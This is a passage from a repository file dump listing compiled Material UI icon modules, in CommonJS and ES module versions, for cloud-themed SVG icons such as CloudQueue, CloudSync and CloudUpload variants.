    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4s1.79-4 4-4h.71C7.37 7.69 9.48 6 12 6c3.04 0 5.5 2.46 5.5 5.5v.5H19c1.66 0 3 1.34 3 3s-1.34 3-3 3\"\n}), 'CloudQueueSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudQueueSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4s1.79-4 4-4h.71C7.37 7.69 9.48 6 12 6c3.04 0 5.5 2.46 5.5 5.5v.5H19c1.66 0 3 1.34 3 3s-1.34 3-3 3\"\n}), 'CloudQueueSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudQueueTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12h-1.5v-.5C17.5 8.46 15.04 6 12 6c-2.52 0-4.63 1.69-5.29 4H6c-2.21 0-4 1.79-4 4s1.79 4 4 4h13c1.66 0 3-1.34 3-3s-1.34-3-3-3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4s1.79-4 4-4h.71C7.37 7.69 9.48 6 12 6c3.04 0 5.5 2.46 5.5 5.5v.5H19c1.66 0 3 1.34 3 3s-1.34 3-3 3\"\n}, \"1\")], 'CloudQueueTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudQueueTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12h-1.5v-.5C17.5 8.46 15.04 6 12 6c-2.52 0-4.63 1.69-5.29 4H6c-2.21 0-4 1.79-4 4s1.79 4 4 4h13c1.66 0 3-1.34 3-3s-1.34-3-3-3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4s1.79-4 4-4h.71C7.37 7.69 9.48 6 12 6c3.04 0 5.5 2.46 5.5 5.5v.5H19c1.66 0 3 1.34 3 3s-1.34 3-3 3\"\n}, \"1\")], 'CloudQueueTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96\"\n}), 'CloudRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96\"\n}), 'CloudRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96\"\n}), 'CloudSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96\"\n}), 'CloudSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudSync.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.5 14.98c-.02 0-.03 0-.05.01C21.2 13.3 19.76 12 18 12c-1.4 0-2.6.83-3.16 2.02C13.26 14.1 12 15.4 12 17c0 1.66 1.34 3 3 3l6.5-.02c1.38 0 2.5-1.12 2.5-2.5s-1.12-2.5-2.5-2.5M10 4.26v2.09C7.67 7.18 6 9.39 6 12c0 1.77.78 3.34 2 4.44V14h2v6H4v-2h2.73C5.06 16.54 4 14.4 4 12c0-3.73 2.55-6.85 6-7.74M20 6h-2.73c1.43 1.26 2.41 3.01 2.66 5h-2.02c-.23-1.36-.93-2.55-1.91-3.44V10h-2V4h6z\"\n}), 'CloudSync');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudSync.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.5 14.98c-.02 0-.03 0-.05.01C21.2 13.3 19.76 12 18 12c-1.4 0-2.6.83-3.16 2.02C13.26 14.1 12 15.4 12 17c0 1.66 1.34 3 3 3l6.5-.02c1.38 0 2.5-1.12 2.5-2.5s-1.12-2.5-2.5-2.5M10 4.26v2.09C7.67 7.18 6 9.39 6 12c0 1.77.78 3.34 2 4.44V14h2v6H4v-2h2.73C5.06 16.54 4 14.4 4 12c0-3.73 2.55-6.85 6-7.74M20 6h-2.73c1.43 1.26 2.41 3.01 2.66 5h-2.02c-.23-1.36-.93-2.55-1.91-3.44V10h-2V4h6z\"\n}), 'CloudSync');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudSyncOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.5 14.98c-.02 0-.03 0-.05.01C21.2 13.3 19.76 12 18 12c-1.4 0-2.6.83-3.16 2.02C13.26 14.1 12 15.4 12 17c0 1.66 1.34 3 3 3l6.5-.02c1.38 0 2.5-1.12 2.5-2.5s-1.12-2.5-2.5-2.5m.01 3.02H15c-.55 0-1-.45-1-1s.45-1 1-1h1.25v-.25c0-.97.78-1.75 1.75-1.75s1.75.78 1.75 1.75V17h1.76c.28 0 .5.22.5.5-.01.27-.23.5-.5.5M10 4.26v2.09C7.67 7.18 6 9.39 6 12c0 1.77.78 3.34 2 4.44V14h2v6H4v-2h2.73C5.06 16.54 4 14.4 4 12c0-3.73 2.55-6.85 6-7.74M20 6h-2.73c1.43 1.26 2.41 3.01 2.66 5h-2.02c-.23-1.36-.93-2.55-1.91-3.44V10h-2V4h6z\"\n}), 'CloudSyncOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudSyncOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.5 14.98c-.02 0-.03 0-.05.01C21.2 13.3 19.76 12 18 12c-1.4 0-2.6.83-3.16 2.02C13.26 14.1 12 15.4 12 17c0 1.66 1.34 3 3 3l6.5-.02c1.38 0 2.5-1.12 2.5-2.5s-1.12-2.5-2.5-2.5m.01 3.02H15c-.55 0-1-.45-1-1s.45-1 1-1h1.25v-.25c0-.97.78-1.75 1.75-1.75s1.75.78 1.75 1.75V17h1.76c.28 0 .5.22.5.5-.01.27-.23.5-.5.5M10 4.26v2.09C7.67 7.18 6 9.39 6 12c0 1.77.78 3.34 2 4.44V14h2v6H4v-2h2.73C5.06 16.54 4 14.4 4 12c0-3.73 2.55-6.85 6-7.74M20 6h-2.73c1.43 1.26 2.41 3.01 2.66 5h-2.02c-.23-1.36-.93-2.55-1.91-3.44V10h-2V4h6z\"\n}), 'CloudSyncOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudSyncRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M24 17.48c0 1.38-1.12 2.5-2.5 2.5L15 20c-1.66 0-3-1.34-3-3 0-1.6 1.26-2.9 2.84-2.98C15.4 12.83 16.6 12 18 12c1.76 0 3.2 1.3 3.45 2.99.02 0 .03-.01.05-.01 1.38 0 2.5 1.12 2.5 2.5M10 15c0-.55-.45-1-1-1s-1 .45-1 1v1.44c-1.22-1.1-2-2.67-2-4.44 0-2.38 1.39-4.43 3.4-5.4.37-.18.6-.56.6-.97 0-.71-.73-1.18-1.37-.88C5.89 6.03 4 8.79 4 12c0 2.4 1.06 4.54 2.73 6H5c-.55 0-1 .45-1 1s.45 1 1 1h4c.55 0 1-.45 1-1zm9-9c.55 0 1-.45 1-1s-.45-1-1-1h-4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1s1-.45 1-1V7.56c.98.89 1.68 2.08 1.92 3.44h2.02c-.25-1.99-1.23-3.74-2.66-5z\"\n}), 'CloudSyncRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudSyncRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M24 17.48c0 1.38-1.12 2.5-2.5 2.5L15 20c-1.66 0-3-1.34-3-3 0-1.6 1.26-2.9 2.84-2.98C15.4 12.83 16.6 12 18 12c1.76 0 3.2 1.3 3.45 2.99.02 0 .03-.01.05-.01 1.38 0 2.5 1.12 2.5 2.5M10 15c0-.55-.45-1-1-1s-1 .45-1 1v1.44c-1.22-1.1-2-2.67-2-4.44 0-2.38 1.39-4.43 3.4-5.4.37-.18.6-.56.6-.97 0-.71-.73-1.18-1.37-.88C5.89 6.03 4 8.79 4 12c0 2.4 1.06 4.54 2.73 6H5c-.55 0-1 .45-1 1s.45 1 1 1h4c.55 0 1-.45 1-1zm9-9c.55 0 1-.45 1-1s-.45-1-1-1h-4c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1s1-.45 1-1V7.56c.98.89 1.68 2.08 1.92 3.44h2.02c-.25-1.99-1.23-3.74-2.66-5z\"\n}), 'CloudSyncRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudSyncSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.5 14.98c-.02 0-.03 0-.05.01C21.2 13.3 19.76 12 18 12c-1.4 0-2.6.83-3.16 2.02C13.26 14.1 12 15.4 12 17c0 1.66 1.34 3 3 3l6.5-.02c1.38 0 2.5-1.12 2.5-2.5s-1.12-2.5-2.5-2.5M10 4.26v2.09C7.67 7.18 6 9.39 6 12c0 1.77.78 3.34 2 4.44V14h2v6H4v-2h2.73C5.06 16.54 4 14.4 4 12c0-3.73 2.55-6.85 6-7.74M20 6h-2.73c1.43 1.26 2.41 3.01 2.66 5h-2.02c-.23-1.36-.93-2.55-1.91-3.44V10h-2V4h6z\"\n}), 'CloudSyncSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudSyncSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.5 14.98c-.02 0-.03 0-.05.01C21.2 13.3 19.76 12 18 12c-1.4 0-2.6.83-3.16 2.02C13.26 14.1 12 15.4 12 17c0 1.66 1.34 3 3 3l6.5-.02c1.38 0 2.5-1.12 2.5-2.5s-1.12-2.5-2.5-2.5M10 4.26v2.09C7.67 7.18 6 9.39 6 12c0 1.77.78 3.34 2 4.44V14h2v6H4v-2h2.73C5.06 16.54 4 14.4 4 12c0-3.73 2.55-6.85 6-7.74M20 6h-2.73c1.43 1.26 2.41 3.01 2.66 5h-2.02c-.23-1.36-.93-2.55-1.91-3.44V10h-2V4h6z\"\n}), 'CloudSyncSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudSyncTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.51 18H15c-.55 0-1-.45-1-1s.45-1 1-1h1.25v-.25c0-.97.78-1.75 1.75-1.75s1.75.78 1.75 1.75V17h1.76c.28 0 .5.22.5.5-.01.27-.23.5-.5.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.5 14.98c-.02 0-.03 0-.05.01C21.2 13.3 19.76 12 18 12c-1.4 0-2.6.83-3.16 2.02C13.26 14.1 12 15.4 12 17c0 1.66 1.34 3 3 3l6.5-.02c1.38 0 2.5-1.12 2.5-2.5s-1.12-2.5-2.5-2.5m.01 3.02H15c-.55 0-1-.45-1-1s.45-1 1-1h1.25v-.25c0-.97.78-1.75 1.75-1.75s1.75.78 1.75 1.75V17h1.76c.28 0 .5.22.5.5-.01.27-.23.5-.5.5M10 4.26v2.09C7.67 7.18 6 9.39 6 12c0 1.77.78 3.34 2 4.44V14h2v6H4v-2h2.73C5.06 16.54 4 14.4 4 12c0-3.73 2.55-6.85 6-7.74M20 6h-2.73c1.43 1.26 2.41 3.01 2.66 5h-2.02c-.23-1.36-.93-2.55-1.91-3.44V10h-2V4h6z\"\n}, \"1\")], 'CloudSyncTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudSyncTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.51 18H15c-.55 0-1-.45-1-1s.45-1 1-1h1.25v-.25c0-.97.78-1.75 1.75-1.75s1.75.78 1.75 1.75V17h1.76c.28 0 .5.22.5.5-.01.27-.23.5-.5.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.5 14.98c-.02 0-.03 0-.05.01C21.2 13.3 19.76 12 18 12c-1.4 0-2.6.83-3.16 2.02C13.26 14.1 12 15.4 12 17c0 1.66 1.34 3 3 3l6.5-.02c1.38 0 2.5-1.12 2.5-2.5s-1.12-2.5-2.5-2.5m.01 3.02H15c-.55 0-1-.45-1-1s.45-1 1-1h1.25v-.25c0-.97.78-1.75 1.75-1.75s1.75.78 1.75 1.75V17h1.76c.28 0 .5.22.5.5-.01.27-.23.5-.5.5M10 4.26v2.09C7.67 7.18 6 9.39 6 12c0 1.77.78 3.34 2 4.44V14h2v6H4v-2h2.73C5.06 16.54 4 14.4 4 12c0-3.73 2.55-6.85 6-7.74M20 6h-2.73c1.43 1.26 2.41 3.01 2.66 5h-2.02c-.23-1.36-.93-2.55-1.91-3.44V10h-2V4h6z\"\n}, \"1\")], 'CloudSyncTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.21 12.04-1.53-.11-.3-1.5C16.88 7.86 14.62 6 12 6 9.94 6 8.08 7.14 7.12 8.96l-.5.95-1.07.11C3.53 10.24 2 11.95 2 14c0 2.21 1.79 4 4 4h13c1.65 0 3-1.35 3-3 0-1.55-1.22-2.86-2.79-2.96\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4 0-2.05 1.53-3.76 3.56-3.97l1.07-.11.5-.95C8.08 7.14 9.94 6 12 6c2.62 0 4.88 1.86 5.39 4.43l.3 1.5 1.53.11c1.56.1 2.78 1.41 2.78 2.96 0 1.65-1.35 3-3 3\"\n}, \"1\")], 'CloudTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.21 12.04-1.53-.11-.3-1.5C16.88 7.86 14.62 6 12 6 9.94 6 8.08 7.14 7.12 8.96l-.5.95-1.07.11C3.53 10.24 2 11.95 2 14c0 2.21 1.79 4 4 4h13c1.65 0 3-1.35 3-3 0-1.55-1.22-2.86-2.79-2.96\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4 0-2.05 1.53-3.76 3.56-3.97l1.07-.11.5-.95C8.08 7.14 9.94 6 12 6c2.62 0 4.88 1.86 5.39 4.43l.3 1.5 1.53.11c1.56.1 2.78 1.41 2.78 2.96 0 1.65-1.35 3-3 3\"\n}, \"1\")], 'CloudTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudUpload.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M14 13v4h-4v-4H7l5-5 5 5z\"\n}), 'CloudUpload');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudUpload.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M14 13v4h-4v-4H7l5-5 5 5z\"\n}), 'CloudUpload');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudUploadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4 0-2.05 1.53-3.76 3.56-3.97l1.07-.11.5-.95C8.08 7.14 9.94 6 12 6c2.62 0 4.88 1.86 5.39 4.43l.3 1.5 1.53.11c1.56.1 2.78 1.41 2.78 2.96 0 1.65-1.35 3-3 3M8 13h2.55v3h2.9v-3H16l-4-4z\"\n}), 'CloudUploadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudUploadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M19 18H6c-2.21 0-4-1.79-4-4 0-2.05 1.53-3.76 3.56-3.97l1.07-.11.5-.95C8.08 7.14 9.94 6 12 6c2.62 0 4.88 1.86 5.39 4.43l.3 1.5 1.53.11c1.56.1 2.78 1.41 2.78 2.96 0 1.65-1.35 3-3 3M8 13h2.55v3h2.9v-3H16l-4-4z\"\n}), 'CloudUploadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudUploadRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M14 13v4h-4v-4H7l4.65-4.65c.2-.2.51-.2.71 0L17 13z\"\n}), 'CloudUploadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudUploadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M14 13v4h-4v-4H7l4.65-4.65c.2-.2.51-.2.71 0L17 13z\"\n}), 'CloudUploadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudUploadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M14 13v4h-4v-4H7l5-5 5 5z\"\n}), 'CloudUploadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CloudUploadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.35 10.04C18.67 6.59 15.64 4 12 4 9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96M14 13v4h-4v-4H7l5-5 5 5z\"\n}), 'CloudUploadSharp');"
  },
  {
